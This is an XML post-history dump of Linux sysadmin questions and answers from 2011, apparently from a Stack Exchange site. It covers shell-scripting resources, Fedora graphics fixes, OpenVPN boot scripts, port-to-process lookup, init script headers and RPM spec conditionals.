  <row Id="22076" PostHistoryTypeId="5" PostId="9270" RevisionGUID="be9aad1f-4d75-4f0e-bfd8-80cb35d6c116" CreationDate="2011-03-15T12:22:21.110" UserId="3645" Comment="Formatting" Text="Hi..,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am very new to shell scripting so just a beginner i have not yet hardly coded a single program. but i am interested to learn it completely please anybody  suggest me some good resources over online which will guide me good.&#xD;&#xA;&#xD;&#xA;thanks in advance" />
  <row Id="22077" PostHistoryTypeId="24" PostId="9270" RevisionGUID="be9aad1f-4d75-4f0e-bfd8-80cb35d6c116" CreationDate="2011-03-15T12:22:21.110" Comment="Proposed by 3645 approved by -1 edit id of 205" />
  <row Id="22078" PostHistoryTypeId="5" PostId="9270" RevisionGUID="f58e0622-6aa3-48ec-b503-b14287f5f717" CreationDate="2011-03-15T12:22:21.313" UserId="2511" Comment="deleted 23 characters in body; edited title" Text="I am very new to shell scripting — just a beginner. I have not yet hardly coded a single program, but i am interested to learn it completely. Please, can anybody  suggest to me some good resources over online which will guide me well?" />
  <row Id="22079" PostHistoryTypeId="4" PostId="9270" RevisionGUID="f58e0622-6aa3-48ec-b503-b14287f5f717" CreationDate="2011-03-15T12:22:21.313" UserId="2511" Comment="deleted 23 characters in body; edited title" Text="What are good online resources for learning shell scripting?" />
  <row Id="22080" PostHistoryTypeId="2" PostId="9275" RevisionGUID="659632a3-c91d-49b3-a53d-4edf69fb1ba0" CreationDate="2011-03-15T12:23:41.733" UserId="1233" Text="&gt;Does grep intelligently switch algorithms while searching different data sets?&#xD;&#xA;&#xD;&#xA;I don't think so, but it does switch to the &quot;fast&quot; non-RE algorithm when given the -f flag (or invoked as fgrep).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22081" PostHistoryTypeId="2" PostId="9276" RevisionGUID="862fc4a4-fb07-4006-8a88-b8447f4c4336" CreationDate="2011-03-15T12:35:03.857" UserId="2511" Text="From your linked information, it appears you have an Intel GME965 integrated graphics controller. It appears the driver for that isn't working and you're getting the generic VESA driver. I suspect you're hitting this bug:&#xD;&#xA;&#xD;&#xA;https://bugzilla.redhat.com/show_bug.cgi?id=650888&#xD;&#xA;&#xD;&#xA;This suggests that the installer (incorrectly) put a `nomodeset` line in `/boot/grub/grub.conf`. Edit that file (carefully) and remove that word wherever it appears.&#xD;&#xA;&#xD;&#xA;Then, reboot and everything should Magically Just Work. (If that doesn't, try also removing any xorg.conf — `rm /etc/X11/xorg.conf`, so that X starts with its defaults and automatic detection.)" />
  <row Id="22082" PostHistoryTypeId="4" PostId="9268" RevisionGUID="25274347-10c3-4b91-b647-45137ba86e17" CreationDate="2011-03-15T12:39:15.303" UserId="2511" Comment="edited tags; edited title" Text="Why does my Fedora 14 system with an Intel Mobile GME965/GLE960 Integrated Graphics Controller come up with the wrong aspect ratio?" />
  <row Id="22083" PostHistoryTypeId="6" PostId="9268" RevisionGUID="25274347-10c3-4b91-b647-45137ba86e17" CreationDate="2011-03-15T12:39:15.303" UserId="2511" Comment="edited tags; edited title" Text="élinuxàéfedoraàéxorgàéintelögmaà" />
  <row Id="22084" PostHistoryTypeId="2" PostId="9277" RevisionGUID="bf9c8d7a-afcc-470a-8f83-6791d4eb8caf" CreationDate="2011-03-15T12:44:05.650" UserId="5451" Text="ok i have managed to get the openvpn tunnel password entered automatically and also managed to get the tunnel to run on bootup. hopefully this helps someone else who is trying to do the same thing - coz its taken me over 20 hours to figure out something which now looks pretty basic. code:&#xD;&#xA;&#xD;&#xA;    $ cat /etc/init.d/ZZcreate_ovpn_tun.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # check if the tunnel already exists before trying to create it&#xD;&#xA;    proc=$(ps aux | grep openvpn | grep Userxxx)&#xD;&#xA;    if [ &quot;$proc&quot; == &quot;&quot; ]; then&#xD;&#xA;      echo &quot;ovpn tunnel does not exist yet - will create it now&quot;&#xD;&#xA;    else&#xD;&#xA;      echo &quot;ovpn tunnel already exists ($proc)&quot;&#xD;&#xA;      exit 0&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # load the config file into openvpn - has options to request the pkcs12 password through&#xD;&#xA;    # telnet&#xD;&#xA;    nohup openvpn /etc/init.d/ovpn/Userxxx.ovpn&#xD;&#xA;    sleep 1&#xD;&#xA;    &#xD;&#xA;    # enter the password though a telnet session&#xD;&#xA;    /etc/init.d/ovpn/telnet_commands.sh&#xD;&#xA;    &#xD;&#xA;    $ cat /etc/init.d/ovpn/telnet_commands.sh&#xD;&#xA;    #!/usr/bin/expect&#xD;&#xA;    spawn telnet 127.0.0.1 5558&#xD;&#xA;    expect &quot;&gt;PASSWORD:Need 'Private Key' password&quot;&#xD;&#xA;    send &quot;password 'Private Key' xxxxxxxxxxxxx\r&quot;&#xD;&#xA;    expect &quot;SUCCESS: 'Private Key' password entered, but not yet verified&quot;&#xD;&#xA;    send &quot;quit\r&quot;&#xD;&#xA;    expect eof&#xD;&#xA;    &#xD;&#xA;    $ cat Userxxx.ovpn&#xD;&#xA;    #OpenVPN Server conf&#xD;&#xA;    tls-client&#xD;&#xA;    client&#xD;&#xA;    dev tun&#xD;&#xA;    proto udp&#xD;&#xA;    tun-mtu 1400&#xD;&#xA;    remote xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.com.au 1194&#xD;&#xA;    pkcs12 /etc/init.d/ovpn/Userxxx.p12&#xD;&#xA;    cipher AES-256-CBC&#xD;&#xA;    comp-lzo&#xD;&#xA;    verb 3&#xD;&#xA;    ns-cert-type server&#xD;&#xA;    tls-remote xxxxxxxxxxxxxxxxxxxxxxxxxxx.com.au&#xD;&#xA;    management 127.0.0.1 5558&#xD;&#xA;    management-query-passwords&#xD;&#xA;    &#xD;&#xA;    $ sudo update-rc.d ZZcreate_ovpn_tun.sh defaults&#xD;&#xA;    $ sudo shutdown -r 0&#xD;&#xA;    &#xD;&#xA;    $ # wait for system to boot up again&#xD;&#xA;    $ ps aux | grep openvpn&#xD;&#xA;    root 5279  0.0  0.1  28224  3728 ? S 22:48 0:00 openvpn /etc/init.d/ovpn/Userxxx.ovpn&#xD;&#xA;&#xD;&#xA;you may also want to redirect all output to a file so that if it fails you will be able to see why. i called the file ZZcreate_ovpn_tun.sh to make sure it was run last out of all of the scripts in the init.d dir. ideally i would just have made sure that it only ran at level 6 or so but this works fine for now." />
  <row Id="22085" PostHistoryTypeId="2" PostId="9278" RevisionGUID="ce1730ce-e1c7-49d6-8a69-0f8efde2134b" CreationDate="2011-03-15T12:46:33.967" UserId="2405" Text="This answer focuses on Bash.&#xD;&#xA;&#xD;&#xA;Probably the [advanced bash scripting guide](http://tldp.org/LDP/abs/html/) can help you. It has even be translated to French (on [traduc.org](http://abs.traduc.org)).&#xD;&#xA;&#xD;&#xA;Also read the [pitfalls](http://mywiki.wooledge.org/BashPitfalls) and the [FAQ](http://mywiki.wooledge.org/BashFAQ) from Greg's wiki." />
  <row Id="22086" PostHistoryTypeId="2" PostId="9279" RevisionGUID="5fabb30a-0f62-48d7-a232-9b6ddc42c18c" CreationDate="2011-03-15T12:58:35.560" UserId="3963" Text="The UNIX standard doesn't specify implementation details for the standard system tools, except for really rare cases. You can find the latest Single Unix Specification vesion [here](http://www.unix.org/single_unix_specification/)(warning: registration required).&#xD;&#xA;&#xD;&#xA;With that in mind, every UNIX(System V and direct descendants like BSD, Solaris, Mac OS X, etc..) or UNIX based Operating System (far descendants or alikes: Linux, Minix) has its own implementations of the utilities described in the UNIX specification. For eg. take a look at [FreeBSD's](http://svn.freebsd.org/viewvc/base/head/usr.bin/) and [Linux/GNU Coreutils](http://git.savannah.gnu.org/cgit/coreutils.git/tree/src). Beware that some tools are separate whole project by themselves like [GNU diff](http://www.gnu.org/software/diffutils/) or [GNU grep](http://www.gnu.org/software/grep/). Also another fact is that some implementations of these tools might find their way into other UNIX like systems as standard then the ones they were initially written for, for e.g. [some gnu coreutils in freebsd](http://svn.freebsd.org/viewvc/base/head/gnu/usr.bin/) or GCC.&#xD;&#xA;&#xD;&#xA;Bonus: To wrap your head around the UNIX family tree, take a look at [this graph](http://upload.wikimedia.org/wikipedia/commons/d/d9/Unix_history-simple.en.svg)." />
  <row Id="22087" PostHistoryTypeId="2" PostId="9280" RevisionGUID="c3a204bd-b512-40b7-b5c6-1a7893abd24b" CreationDate="2011-03-15T13:06:39.203" UserId="3976" Text="You can install the OpenJDK right through the CentOS repositories, by running `yum install java-1.6.0-openjdk` as root.  If you must have the &lt;strike&gt;Sun&lt;/strike&gt;Oracle Java packages, visit the [java download page][1] and follow the links for downloading the JRE.&#xD;&#xA;&#xD;&#xA;The advantage of using the OpenJDK is that you get updates automatically through CentOS.  CentOS also has packages for Tomcat 5, if you were planning on using that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oracle.com/technetwork/java/javase/downloads/index.html" />
  <row Id="22088" PostHistoryTypeId="2" PostId="9281" RevisionGUID="0684c5b5-54cc-4658-bf98-ed74fad1da3c" CreationDate="2011-03-15T13:08:20.057" UserId="2671" Text="Not sure about Solaris but on Linux `lsof -u user | grep \:ssh` should work fine" />
  <row Id="22089" PostHistoryTypeId="2" PostId="9282" RevisionGUID="eaaaff57-cfc7-43cd-981a-1fc47122e1cb" CreationDate="2011-03-15T13:13:22.537" UserId="3976" Text="The `who` and `last` commands might be useful for displaying the host from which users are connected." />
  <row Id="22090" PostHistoryTypeId="5" PostId="9268" RevisionGUID="c0ffef11-7e0b-432b-a145-047b4a65d792" CreationDate="2011-03-15T13:15:48.673" UserId="5664" Comment="added 85 characters in body; added 235 characters in body" Text="I have a:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Compaq 610 VC275EA 15,6&quot; WXGA i CELERON T1500&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;and I installed Fedora 14 on it. Everything is great, except one: the aspect ratio of the screen is not very good :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;http://bit.ly/e18LgF&lt;br&gt;&#xD;&#xA;http://pastebin.com/raw.php?i=dCbg5qNt&lt;br&gt;&#xD;&#xA;http://pastebin.mozilla.org/1165203&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	00:02.0 VGA compatible controller: Intel Corporation Mobile GME965/GLE960 Integrated Graphics Controller (rev 0c)&#xD;&#xA;	00:02.1 Display controller: Intel Corporation Mobile GME965/GLE960 Integrated Graphics Controller (rev 0c)&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Can someone please say, that it cannot be fixed, or say: yes, it could be fixed, do xy, read xy, etc. :\ This is an issue for me for months now.. :\ Please help" />
  <row Id="22091" PostHistoryTypeId="2" PostId="9283" RevisionGUID="4302d498-9820-49fb-8cac-dd5a0d2f8880" CreationDate="2011-03-15T13:27:20.907" UserId="3646" Text="Another tool available on Linux is *ss*. From the *ss* man page on Fedora: &#xD;&#xA;                                                  &#xD;&#xA;    NAME&#xD;&#xA;           ss - another utility to investigate sockets&#xD;&#xA;    SYNOPSIS&#xD;&#xA;           ss [options] [ FILTER ]&#xD;&#xA;    DESCRIPTION&#xD;&#xA;           ss is used to dump socket statistics. It allows showing information &#xD;&#xA;           similar to netstat. It can display more TCP and state informations  &#xD;&#xA;           than other tools.&#xD;&#xA;&#xD;&#xA;Example output below - the final column shows the process binding: &#xD;&#xA;&#xD;&#xA;    [root@box] ss -ap&#xD;&#xA;    State      Recv-Q Send-Q      Local Address:Port          Peer Address:Port&#xD;&#xA;    LISTEN     0      128                    :::http                    :::*        users:((&quot;httpd&quot;,20891,4),(&quot;httpd&quot;,20894,4),(&quot;httpd&quot;,20895,4),(&quot;httpd&quot;,20896,4)&#xD;&#xA;    LISTEN     0      128             127.0.0.1:munin                    *:*        users:((&quot;munin-node&quot;,1278,5))&#xD;&#xA;    LISTEN     0      128                    :::ssh                     :::*        users:((&quot;sshd&quot;,1175,4))&#xD;&#xA;    LISTEN     0      128                     *:ssh                      *:*        users:((&quot;sshd&quot;,1175,3))&#xD;&#xA;    LISTEN     0      10              127.0.0.1:smtp                     *:*        users:((&quot;sendmail&quot;,1199,4))&#xD;&#xA;    LISTEN     0      128             127.0.0.1:x11-ssh-offset                  *:*        users:((&quot;sshd&quot;,25734,8))&#xD;&#xA;    LISTEN     0      128                   ::1:x11-ssh-offset                 :::*        users:((&quot;sshd&quot;,25734,7))&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22092" PostHistoryTypeId="2" PostId="9284" RevisionGUID="c5a262d2-c08d-4a03-80f5-daf873ec90f5" CreationDate="2011-03-15T13:33:44.237" UserId="3646" Text="On AIX, netstat &amp; rmsock can be used to determine process binding: &#xD;&#xA;&#xD;&#xA;    [root@aix] netstat -Ana|grep LISTEN|grep 80&#xD;&#xA;    f100070000280bb0 tcp4       0      0  *.37               *.*        LISTEN&#xD;&#xA;    f1000700025de3b0 tcp        0      0  *.80               *.*        LISTEN&#xD;&#xA;    f1000700002803b0 tcp4       0      0  *.111              *.*        LISTEN&#xD;&#xA;    f1000700021b33b0 tcp4       0      0  127.0.0.1.32780    *.*        LISTEN&#xD;&#xA;    &#xD;&#xA;    # Port 80 maps to f1000700025de3b0 above, so we type:&#xD;&#xA;    [root@aix] rmsock f1000700025de3b0 tcpcb&#xD;&#xA;    The socket 0x25de008 is being held by process 499790 (java).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22093" PostHistoryTypeId="5" PostId="9252" RevisionGUID="cc3b295f-8efb-41fc-bc73-202d1153b07a" CreationDate="2011-03-15T13:34:00.163" UserId="3069" Comment="added 4 characters in body; edited tags" Text="I know that using the command:&#xD;&#xA;&#xD;&#xA;    lsof -i TCP &#xD;&#xA;&#xD;&#xA;(or some variant of parameters with lsof) I can determine which process is bound to a particular port.  This is useful say if I'm trying to start something that wants to bind to 8080 and some else is already using that port, but I don't know what.&#xD;&#xA;&#xD;&#xA;Is there an easy way to do this without using lsof?  I spend time working on many systems and lsof is often not installed." />
  <row Id="22094" PostHistoryTypeId="6" PostId="9252" RevisionGUID="cc3b295f-8efb-41fc-bc73-202d1153b07a" CreationDate="2011-03-15T13:34:00.163" UserId="3069" Comment="added 4 characters in body; edited tags" Text="énetworkingàéportsàélsofà" />
  <row Id="22095" PostHistoryTypeId="2" PostId="9285" RevisionGUID="cb733e63-dad9-4c49-af91-afb1860b5aee" CreationDate="2011-03-15T13:49:29.630" UserId="5737" Text="I am telnet-ing into a Solaris machine and I'm getting the above error with my scripts. I realize this is a common problem, and the solution is to check for the line 'stty erase ^H' within my profile, but I can't find it.&#xD;&#xA;&#xD;&#xA;.profile doesn't have any references to stty, and I don't have a .cshrc anywhere. I performed a grep in my home directory, but I came up with nothing.&#xD;&#xA;&#xD;&#xA;Is there another source of this problem? All the solutions online refer to either .profile or .cshrc. Thanks." />
  <row Id="22096" PostHistoryTypeId="1" PostId="9285" RevisionGUID="cb733e63-dad9-4c49-af91-afb1860b5aee" CreationDate="2011-03-15T13:49:29.630" UserId="5737" Text="stty: : Invalid argument" />
  <row Id="22097" PostHistoryTypeId="3" PostId="9285" RevisionGUID="cb733e63-dad9-4c49-af91-afb1860b5aee" CreationDate="2011-03-15T13:49:29.630" UserId="5737" Text="éscriptingàésolarisàételnetà" />
  <row Id="22098" PostHistoryTypeId="2" PostId="9286" RevisionGUID="a5272cdf-194b-4e5e-b65d-4e0cca7f7d30" CreationDate="2011-03-15T14:01:20.567" UserId="5630" Text="I'm currently exploring creating a startup script in the form of a system process located in the /etc/init.d/ on my Fedora 14 Linux installation. It sounds like the following two lines are bare minimum requirements?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    # chkconfig: 345 85 15 (however on this one I've seen different combos)&#xD;&#xA;&#xD;&#xA;What's the purpose of these lines?  Is there a good resource that would help me understand how to better create these and other header lines for such a file?" />
  <row Id="22099" PostHistoryTypeId="1" PostId="9286" RevisionGUID="a5272cdf-194b-4e5e-b65d-4e0cca7f7d30" CreationDate="2011-03-15T14:01:20.567" UserId="5630" Text="Are certain parts of startup services necessary or just good practice?" />
  <row Id="22100" PostHistoryTypeId="3" PostId="9286" RevisionGUID="a5272cdf-194b-4e5e-b65d-4e0cca7f7d30" CreationDate="2011-03-15T14:01:20.567" UserId="5630" Text="éconfigurationàéstartupà" />
  <row Id="22101" PostHistoryTypeId="2" PostId="9287" RevisionGUID="eae0b12f-aafb-4fca-9371-d029729f8803" CreationDate="2011-03-15T14:21:33.227" UserId="2511" Text="Look at the docs file  `/usr/share/doc/initscripts-*/sysvinitfiles` (On current F14, `/usr/share/doc/initscripts-9.12.1/sysvinitfiles`). There's further documentation here: http://fedoraproject.org/wiki/Packaging/SysVInitScript.&#xD;&#xA;&#xD;&#xA;The chkconfig line defines which runlevels the service will start in by default (if any), and where in the startup process they'll be ordered.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # chkconfig: &lt;startlevellist&gt; &lt;startpriority&gt; &lt;endpriority&gt;&#xD;&#xA;    &#xD;&#xA;            Required.  &lt;startlevellist&gt; is a list of levels in which&#xD;&#xA;            the service should be started by default.  &lt;startpriority&gt;&#xD;&#xA;            and &lt;endpriority&gt; are priority numbers.  For example:&#xD;&#xA;            # chkconfig: 2345 20 80&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And, note that this all becomes obsolete with Fedora 15 and `systemd`." />
  <row Id="22102" PostHistoryTypeId="4" PostId="9286" RevisionGUID="ca8f3391-9e5a-4622-99a3-68a44492d5fd" CreationDate="2011-03-15T14:24:40.927" UserId="2511" Comment="edited tags; edited title" Text="Are certain parts of startup scripts necessary or just good practice?" />
  <row Id="22103" PostHistoryTypeId="6" PostId="9286" RevisionGUID="ca8f3391-9e5a-4622-99a3-68a44492d5fd" CreationDate="2011-03-15T14:24:40.927" UserId="2511" Comment="edited tags; edited title" Text="éconfigurationàéinitöscriptàéstartupà" />
  <row Id="22104" PostHistoryTypeId="2" PostId="9288" RevisionGUID="49176f81-b0d0-4440-a678-ca9ccf4cb38b" CreationDate="2011-03-15T14:24:46.277" UserId="5738" Text="the best free source for shell scripting I've seen so far:&#xD;&#xA;http://fog.ccsf.cc.ca.us/~gboyd/cs160b/online/index.html" />
  <row Id="22105" PostHistoryTypeId="25" PostId="9286" RevisionGUID="525f2257-6a60-4d78-8a97-fe4c53a39fc3" CreationDate="2011-03-15T14:31:19.817" Comment="http://twitter.com/#!/StackUnix/status/47666189148758018" />
  <row Id="22106" PostHistoryTypeId="2" PostId="9289" RevisionGUID="327165cd-f4f9-4a79-849e-730f395f0f8a" CreationDate="2011-03-15T15:03:49.943" UserId="5704" Text="Hello, community!&#xD;&#xA;I have Gentoo(amd64) installed with KDE-3.5.10 desktop from kde-sunset overlay. Recently I have upgraded xorg-server from 1.7 to 1.9 and now want to extinguish hal completly. The only reason that stops me is the device detection. I don't know how to get automounting working in KDE-3.5.10 without HAL.&#xD;&#xA;Oh, and K3B too. Installed version is 1.0.5.&#xD;&#xA;The only packages which uses &quot;hal&quot; USE flag are:&#xD;&#xA;&#xD;&#xA;    # equery h hal&#xD;&#xA;    [ Searching for USE flag hal in all categories among: ]&#xD;&#xA;     * installed packages&#xD;&#xA;    [I--] [  ] kde-base/kdebase-kioslaves-3.5.10-r1 (3.5)&#xD;&#xA;    [I--] [  ] app-cdr/k3b-1.0.5-r6 (3.5)&#xD;&#xA;&#xD;&#xA;and they certainly can be compiled without &quot;hal&quot; flag. But then automounting stops working and when I insert USB flash drive there is no pop-up window. Of course I can still mount it manually, but it feels uncomfortable. Didn't check if K3B can find recording device when compiled without &quot;hal&quot; USE flag, though. But suspect there could be difficulties too.&#xD;&#xA;" />
  <row Id="22107" PostHistoryTypeId="1" PostId="9289" RevisionGUID="327165cd-f4f9-4a79-849e-730f395f0f8a" CreationDate="2011-03-15T15:03:49.943" UserId="5704" Text="Automounting in KDE-3.5.10 without HAL" />
  <row Id="22108" PostHistoryTypeId="3" PostId="9289" RevisionGUID="327165cd-f4f9-4a79-849e-730f395f0f8a" CreationDate="2011-03-15T15:03:49.943" UserId="5704" Text="ékdeàégentooàéautomountingà" />
  <row Id="22109" PostHistoryTypeId="2" PostId="9290" RevisionGUID="e9377e0a-a8c1-43d3-9a6a-74f456c4ff36" CreationDate="2011-03-15T15:25:19.927" UserId="5741" Text="The first line is the &quot;she-bang&quot; and is used to execute the script without having to pass it as an argument to a shell command line. The second line is a comment and is understood only by the ckconfig program. It is used to ensure the script will start on a specific run-level." />
  <row Id="22110" PostHistoryTypeId="2" PostId="9291" RevisionGUID="73b4c7e2-e3e8-490b-beea-388f943e9f42" CreationDate="2011-03-15T15:53:32.040" UserId="250" Text="I really like OS X's ability to share the internet connection through everything within several mouse clicks, but it seems that the Mac is doing something funny that [prevents Linux machines from connecting][1]. Is there a Linux software that lets me do the same thing, or at least to a certain degree?&#xD;&#xA;&#xD;&#xA;For those who don't know, from Mac's internet sharing settings, you choose the interface with the connection that should be shared (in), then choose the interface(s) that should be used to share (out). The machine will then make the changes and make the connection available through the out interface(s). You can also choose a password for WEP wireless encryption. Needless to say, when done you can stop sharing.&#xD;&#xA;&#xD;&#xA;Today I come across a [script][2] that shares the connection through Wifi, but as such it won't be easy to enable and disable sharing, let alone changing the options. I know it's unlikely to get something as full-featured as I described for free, so please fire off all your suggestions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/q/255262/10976&#xD;&#xA;  [2]: http://saguide.wordpress.com/2011/01/15/share-your-internet-connection-through-wi-fi/" />
  <row Id="22111" PostHistoryTypeId="1" PostId="9291" RevisionGUID="73b4c7e2-e3e8-490b-beea-388f943e9f42" CreationDate="2011-03-15T15:53:32.040" UserId="250" Text="Is there a tool that lets me share internet connection through Wifi?" />
  <row Id="22112" PostHistoryTypeId="3" PostId="9291" RevisionGUID="73b4c7e2-e3e8-490b-beea-388f943e9f42" CreationDate="2011-03-15T15:53:32.040" UserId="250" Text="énetworkingàésoftwareörecàénetworkmanageràéconnectionösharingà" />
  <row Id="22113" PostHistoryTypeId="5" PostId="9230" RevisionGUID="07b2982f-351a-4fa8-b9d0-c3f55485a475" CreationDate="2011-03-15T16:15:32.867" UserId="5587" Comment="leet hax0r" Text="I have two networks on a server.  One being my internal network, and the other being an external IP address.  This is on Debian Lenny.  Here is my `/etc/network/interfaces` file:&#xD;&#xA;&#xD;&#xA;                   &#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    auto eth0&#xD;&#xA;    iface eth0 inet static&#xD;&#xA;            address 172.16.130.250&#xD;&#xA;            netmask 255.255.255.0&#xD;&#xA;            broadcast 172.16.120.255&#xD;&#xA;            gateway 172.16.130.1&#xD;&#xA;    &#xD;&#xA;    auto eth1&#xD;&#xA;    iface eth1 inet static&#xD;&#xA;            address 24.249.hidden ipaddy&#xD;&#xA;            netmask 255.255.255.224&#xD;&#xA;            broadcast 24.249.hidden broadcast.255&#xD;&#xA;            gateway 24.249.hidden gateway&#xD;&#xA;&#xD;&#xA;I can reboot my system and sometimes eth1 is accessible from SSH, and other times eth0 is accessible.  Then sometimes eth1 will just stop being pingable alltogether.  This is a fairly fresh install of Debian, and the only thing I have running is VMWare Server 2.0, bridged to both of my network connections." />
  <row Id="22114" PostHistoryTypeId="4" PostId="9230" RevisionGUID="07b2982f-351a-4fa8-b9d0-c3f55485a475" CreationDate="2011-03-15T16:15:32.867" UserId="5587" Comment="leet hax0r" Text="Two networks cannot be accessed simultaneously" />
  <row Id="22115" PostHistoryTypeId="24" PostId="9230" RevisionGUID="07b2982f-351a-4fa8-b9d0-c3f55485a475" CreationDate="2011-03-15T16:15:32.867" Comment="Proposed by 5587 approved by 2511 edit id of 206" />
  <row Id="22116" PostHistoryTypeId="2" PostId="9292" RevisionGUID="e2d8cd9e-c920-406c-95fb-d2e3ccfdb654" CreationDate="2011-03-15T16:44:12.480" UserId="3646" Text="To answer your question, it's better to give the _www group permission to execute your scripts. &#xD;&#xA;&#xD;&#xA;Use an ACL to extend the permissions on your *.sh scripts to allow a user in the _www group execute privilege: &#xD;&#xA;&#xD;&#xA;    cd /Path/To/Custom&#xD;&#xA;    setfacl -m g:_www:rx *.sh&#xD;&#xA;&#xD;&#xA;Also check each directory component of /Path/To/Custom &amp; verify that apache has permission to access (i.e. 'see') the scripts in /Path/To/Custom: &#xD;&#xA;&#xD;&#xA;    ls -ld /Path&#xD;&#xA;    ls -ld /Path/To&#xD;&#xA;    ls -ld /Path/To/Custom&#xD;&#xA;&#xD;&#xA;Each directory component above should grant apache a minimum of execute permission apart from the final component (*Custom*) where apache needs both execute &amp; read permission. e.g. if all the directory components above have *other* permissions of *r-x* then apache has all the access rights it needs to find your scripts in the *Custom* directory. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22117" PostHistoryTypeId="2" PostId="9293" RevisionGUID="21aba752-3a98-45fe-b0bb-b5ca90927c8a" CreationDate="2011-03-15T17:04:37.360" UserId="4335" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am learning Python. Till now I've been doing only basic Python coding. A day ago, I checked python implementation of `tree` command. Suddenly I thought of creating a Python clone for `uptime`. I don't have any clue about which language it is implemented in and what would be the complexity involved in cloning it.&#xD;&#xA;&#xD;&#xA;But I couldn't find its source code. I am using Fedora 14. kernel-devel package is installed. I did `whereis uptime` but the resulting `/usr/bin/uptime` file shows weird symbols when opened using vim. Googling for its source code couldn't yield desired results either. Where can I find its source code?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="22118" PostHistoryTypeId="1" PostId="9293" RevisionGUID="21aba752-3a98-45fe-b0bb-b5ca90927c8a" CreationDate="2011-03-15T17:04:37.360" UserId="4335" Text="Uptime Source Code" />
  <row Id="22119" PostHistoryTypeId="3" PostId="9293" RevisionGUID="21aba752-3a98-45fe-b0bb-b5ca90927c8a" CreationDate="2011-03-15T17:04:37.360" UserId="4335" Text="éfedoraàésourceàéuptimeà" />
  <row Id="22120" PostHistoryTypeId="2" PostId="9294" RevisionGUID="0adc9ec7-ed5b-4bf1-adac-0dca1c0688ff" CreationDate="2011-03-15T17:11:21.133" UserId="5323" Text="Uptime is part of the 'procps' package, the upstream source is at http://procps.sourceforge.net/  (Not a fedora user, so not sure where to find their .src.rpm).&#xD;&#xA;&#xD;&#xA;To answer the question you didn't ask, however; take a look in /proc/uptime&#xD;&#xA;The first number is seconds since boot.  You should be able to turn that into something usable fairly easily :)" />
  <row Id="22121" PostHistoryTypeId="5" PostId="9293" RevisionGUID="4814bdd3-6a4b-41b2-b639-953a5b5965ae" CreationDate="2011-03-15T17:19:31.717" UserId="2511" Comment="deleted 21 characters in body; edited title" Text="I am learning Python. Till now I've been doing only basic Python coding. A day ago, I checked python implementation of `tree` command. Suddenly I thought of creating a Python clone for `uptime`. I don't have any clue about which language it is implemented in and what would be the complexity involved in cloning it.&#xD;&#xA;&#xD;&#xA;But I couldn't find its source code. I am using Fedora 14. kernel-devel package is installed. I did `whereis uptime` but the resulting `/usr/bin/uptime` file shows weird symbols when opened using vim. Googling for its source code couldn't yield desired results either. Where can I find its source code?" />
  <row Id="22122" PostHistoryTypeId="4" PostId="9293" RevisionGUID="4814bdd3-6a4b-41b2-b639-953a5b5965ae" CreationDate="2011-03-15T17:19:31.717" UserId="2511" Comment="deleted 21 characters in body; edited title" Text="Where can I find the source code for `uptime`?" />
  <row Id="22123" PostHistoryTypeId="2" PostId="9295" RevisionGUID="86c40b90-771c-43a1-985d-31206da60ea5" CreationDate="2011-03-15T17:23:55.270" UserId="5685" Text="From csh man page:&#xD;&#xA;&#xD;&#xA;&gt; A login shell begins by executing commands from the system files **/etc/csh.cshrc** and **/etc/csh.login**. It then executes commands from files in the user's home directory: first **~/.tcshrc** (+) or, if ~/.tcshrc is not found, **~/.cshrc**, then **~/.history** (or the value of the histfile shell variable), then **~/.login**, and finally **~/.cshdirs** (or the value of the dirsfile shell variable) (+). The shell may read /etc/csh.login before instead of after /etc/csh.cshrc, and ~/.login before instead of after ~/.tcshrc or ~/.cshrc and ~/.history, if so compiled; see the version shell variable. (+) &#xD;&#xA;&#xD;&#xA;So there are a couple of files where you could find this line" />
  <row Id="22124" PostHistoryTypeId="2" PostId="9296" RevisionGUID="b834db27-33b8-419d-8383-10714192ea36" CreationDate="2011-03-15T17:24:07.983" UserId="4290" Text="I am trying to work my way around with the BuildPrereq flag in the spec files.&#xD;&#xA;I want a few pre-requisites to be included if the OS is of a particular version. something like &#xD;&#xA;&#xD;&#xA;    if os == fedora 4&#xD;&#xA;     BuildPrereq &gt;= apr0.9&#xD;&#xA;    endif&#xD;&#xA;    &#xD;&#xA;    if os == feodra 10&#xD;&#xA;     BuildPrereq &gt;= apr2.0&#xD;&#xA;    endif &#xD;&#xA;&#xD;&#xA;Is there any way to achieve the above ? Also I would like to hear some alternatives on this. The problem being i have a section of the code which is not required to be compiled on a few versions of OS. So i am looking at mixing conditional compilation and the above.&#xD;&#xA;&#xD;&#xA;Cheers!" />
  <row Id="22125" PostHistoryTypeId="1" PostId="9296" RevisionGUID="b834db27-33b8-419d-8383-10714192ea36" CreationDate="2011-03-15T17:24:07.983" UserId="4290" Text="RPM - BuildPrereq Conditional satements" />
  <row Id="22126" PostHistoryTypeId="3" PostId="9296" RevisionGUID="b834db27-33b8-419d-8383-10714192ea36" CreationDate="2011-03-15T17:24:07.983" UserId="4290" Text="élinuxàéfedoraàérpmà" />
